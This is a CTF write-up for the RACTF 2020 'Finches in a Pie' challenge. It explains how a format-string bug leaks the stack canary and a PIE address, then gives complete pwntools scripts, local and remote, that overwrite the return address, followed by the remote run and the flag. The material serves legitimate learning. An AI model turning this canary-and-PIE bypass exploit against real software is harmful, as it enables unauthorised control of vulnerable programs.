# Finches in a Pie
This challenge is very similiar to Finches in a Stack, so this one is more like a continuation of that writeup, so I'd advise reading that one first before reading this one. Here's the link:[Finches in a Stack](https://github.com/crypt0n1te/write-ups/blob/master/ractf-2020/rev-pwn/finches_in_a_stack.md)
## ProtectionsFirst, let's check the protections that this binary has using checksec:```sasha@kali:~/RACTF$ pwn checksec fiap[*] '/home/sasha/RACTF/fiap'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled```
So here's what we have to deal with:
* Canary: This is a protection that places a random value before a return pointer, so that if you overwrite it with an invalid value, the program crashes
* NX: This prevents us from executing our own shellcode by marking critical areas as non-executable
And a new one:
* PIE: This essentially randomizes the addresses of the functions and gadgets, making returning to functions harder
Since this binary is practically the same as `fias`, I won't go over the reversing again
## Overview
Our exploit is going to have four parts again:
* Padding, to reach the canary* Canary, to overwrite canary, so that the program doesn't crash* More padding, to reach the return pointer* Return Pointer, where we point back into 'flag'
We already have the other 4 sorted, however our new challenge is to find the return pointer, due to PIE randomizing it
## Leaking PIE
Fortunately, we can also leak a PIE address with format strings, this time it's `%12$p`. However, there are some calculations that need to be made to get the base addressLets load up gdb and have a look at the functions:```0x00001209  flag```So now we have the offset of `flag`. Let's run it with a breakpoint at say_hi (as that's where input is taken):```gdb-peda$ b say_hiBreakpoint 1 at 0x1287gdb-peda$ r```Let's skip to the printf which we use to leak, entering `%12$p` in the `gets`:```gdb-peda$ 0x56559000!```Now we need to find out what to do with this address to get the base address. Let's take a function, say the `flag` function, see where it is now after being randomized:```gdb-peda$ p flag$1 = {<text variable, no debug info>} 0x56556209 <flag>```And using our offset from before> 0x00001209We will take the offset away from the flag address, to find the base:```gdb-peda$ p/x 0x56556209 - 0x1209$2 = 0x56555000```So that's our base address, now we do:```gdb-peda$ p/x 0x56559000 - 0x56555000$3 = 0x4000```To find the offset of the leaked PIE address. Now, using this information, we can always find the return pointer we need
## Local exploit
Now we can create our local exploit using python3 + pwntools. We send the two format strings in the same line, separated by a `-`, so we can leak the canary and PIE at one time:```pythonfrom pwn import *
e = ELF("fiap")io = e.process()
for i in range(0,10):	io.recvline()
io.sendline("-%11$p-%12$p-")		# Leak both canary and PIErecieved = str(io.recvline()).split("-")canary = int(recieved[1],16)pie = int(recieved[2],16) - 0x4000	# Gets baselog.info("Canary: " + str(hex(canary)))log.info("PIE: " + str(hex(pie)))io.recvline()
flag = pie + 0x1209	# Base + Flag offset
payload = b"a" * 25		# Pads upto canarypayload += p32(canary)		# Overwrites canarypayload += b'bbbbccccdddd' 	# Pads upto return addresspayload += p32(flag)		# Overwites return addr with addr of flag function
io.sendline(payload)print(io.recvline().decode())io.close()```
## Transferring to remote
Transferring to remote is very simple once again:```pythonfrom pwn import *import sys
args = sys.argv[1].split(":")ip = args[0]port = args[1]
io = remote(ip,port)
for i in range(0,10):	io.recvline()
io.sendline("-%11$p-%12$p-")		# %11$lx leaks canary, %12$p leaks pierecieved = str(io.recvline()).split("-")canary = int(recieved[1],16)pie = int(recieved[2],16) - 0x4000	# Leaked pie take 0x4000 results in binary base
log.info("Canary: " + str(hex(canary)))log.info("PIE: " + str(hex(pie)))io.recvline()
flag = pie + 0x1209
payload = b"a" * 25		# Pads upto canarypayload += p32(canary)		# Overwrites canarypayload += b'bbbbccccdddd' 	# Pads upto return addresspayload += p32(flag)		# Overwites return addr with addr of flag function
io.sendline(payload)print(io.recvline().decode())io.close()```Let's now run it:```sasha@kali:~/RACTF$ python3 fiapremote.py 95.216.233.106:49276[+] Opening connection to 95.216.233.106 on port 49276: Done[*] Canary: 0x3132f200[*] PIE: 0x565d6000ractf{B4k1ng_4_p1E!}
[*] Closed connection to 95.216.233.106 port 49276sasha@kali:~/RACTF$ ```Challenge done!
**ractf{B4k1ng_4_p1E!}**